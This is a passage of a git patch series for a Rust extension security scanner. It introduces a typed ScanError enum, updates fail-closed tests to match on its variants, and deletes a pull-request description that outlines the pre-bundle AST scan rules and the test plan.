find_files_to_scan(package_dir).map_err(ScanError::Discovery)?; let scanned_files = files.len(); for path in &files { - let source = std::fs::read_to_string(path) - .map_err(|e| format!("failed to read '{}': {e}", path.display()))?; + let source = std::fs::read_to_string(path).map_err(|source| ScanError::Read { + path: path.display().to_string(), + source, + })?; let path_str = path.display().to_string(); findings.extend(scan_source_file(&path_str, &source)?); } @@ -370,7 +372,7 @@ function wrap() { std::fs::write(&file, "export {};\n").expect("write"); let err = scan_extension(&file).expect_err("should fail"); assert!( - err.contains("file discovery failed"), + err.to_string().contains("file discovery failed"), "unexpected err: {err}" ); } @@ -380,7 +382,10 @@ function wrap() { let dir = tempfile::tempdir().expect("tempdir"); std::fs::write(dir.path().join("bad.ts"), "export const x = {\n").expect("write"); let err = scan_extension(dir.path()).expect_err("should fail closed on parse error"); - assert!(err.contains("failed to parse"), "unexpected err: {err}"); + assert!( + matches!(err, ScanError::Parse { .. }), + "unexpected err: {err}" + ); } #[test] @@ -391,7 +396,7 @@ function wrap() { let err = scan_extension(dir.path()).expect_err("should fail closed on invalid package.json"); assert!( - err.contains("invalid package.json"), + matches!(err, ScanError::InvalidPackageJson { .. }), "unexpected err: {err}" ); } @@ -411,6 +416,9 @@ function wrap() { let _ = std::fs::set_permissions(&pkg, std::fs::Permissions::from_mode(0o644)); let err = result.expect_err("should fail closed on unreadable package.json"); - assert!(err.contains("failed to read"), "unexpected err: {err}"); + assert!( + matches!(err, ScanError::Read { .. }), + "unexpected err: {err}" + ); } } diff --git a/rust/src/extension/security/types.rs b/rust/src/extension/security/types.rs index 5a3fb54a..3aa98966 100644 --- a/rust/src/extension/security/types.rs +++ b/rust/src/extension/security/types.rs @@ -58,6 +58,29 @@ pub struct ScanReport { pub scanned_files: usize, } +/// Failures that prevent a trustworthy pre-bundle scan (not rule findings). +#[derive(Debug, thiserror::Error)] +pub enum ScanError { + #[error("file discovery failed: {0}")] + Discovery(#[source] std::io::Error), + + #[error("failed to read '{path}': {source}")] + Read { + path: String, + source: std::io::Error, + }, + + #[error("failed to parse '{path}': {detail}")] + Parse { path: String, detail: String }, + + #[error("invalid package.json '{path}': {source}")] + InvalidPackageJson { + path: String, + #[source] + source: serde_json::Error, + }, +} + pub(crate) fn build_summary(findings: &[Finding]) -> ScanSummary { let mut summary = ScanSummary { total: findings.len(), From d22cb500d35163c2e962c30404e9b6c7b8543b1b Mon Sep 17 00:00:00 2001 From: qcai-godaddy <86305984+qcai-godaddy@users.noreply.github.com> Date: Wed, 12 Aug 2026 14:34:43 -0700 Subject: [PATCH 6/6] Delete PR-DEVEX-710.md --- PR-DEVEX-710.md | 19 ------------------- 1 file changed, 19 deletions(-) delete mode 100644 PR-DEVEX-710.md diff --git a/PR-DEVEX-710.md b/PR-DEVEX-710.md deleted file mode 100644 index 790af297..00000000 --- a/PR-DEVEX-710.md +++ /dev/null @@ -1,19 +0,0 @@ -# fix(extensions): restore pre-bundle AST security scan [DEVEX-710] - -## Summary - -- Restore pre-bundle oxc AST scanning (SEC001–SEC010/SEC012) plus SEC011 package-script scanning under `extension/security/`, with `scan_extension` returning `Result` so discovery/read/parse/symlink failures fail closed (separate from rule findings). -- Wire `scan.prebundle` into deploy **before** esbuild; block on severity `Block`, then keep the existing post-bundle regex scan (SEC101–SEC115). -- SEC012 parity: DOM pair/triple blocklists, scope shadowing, and host `mount({ container })` still catching container escapes (`closest`, `ownerDocument`, etc.) without treating `container` as a free-variable shadow. -- Hardening follow-ups: UTF-8-safe snippet/offset helpers, deterministic finding sort (`file`/`line`/`col`/`rule_id`), fail-closed file discovery (read_dir / symlink), clearer deploy `--help` (AST vs package scripts). - -## Test plan - -- [x] `cargo check` / `cargo clippy -- -D warnings` / `cargo fmt --check` / `./rust/scripts/check-module-size.sh` -- [x] `cargo test` (614 tests; includes ~139 `extension::security` tests) -- [x] Fail-closed coverage: unreadable dirs, symlinks, oxc parse errors, invalid/unreadable `package.json` -- [x] Manual fixture scan (pre-bundle only): - - `clean` / `shadow-ok` → pass (0 findings) - - `eval-bad` → blocked (SEC001) - - `dom-bad` → blocked (SEC012, 3 findings) -- [ ] End-to-end `gddy platform app deploy` on a real app (needs experimental stage + auth + esbuild): confirm pre-bundle blocks bad packages and clean packages proceed past scan to upload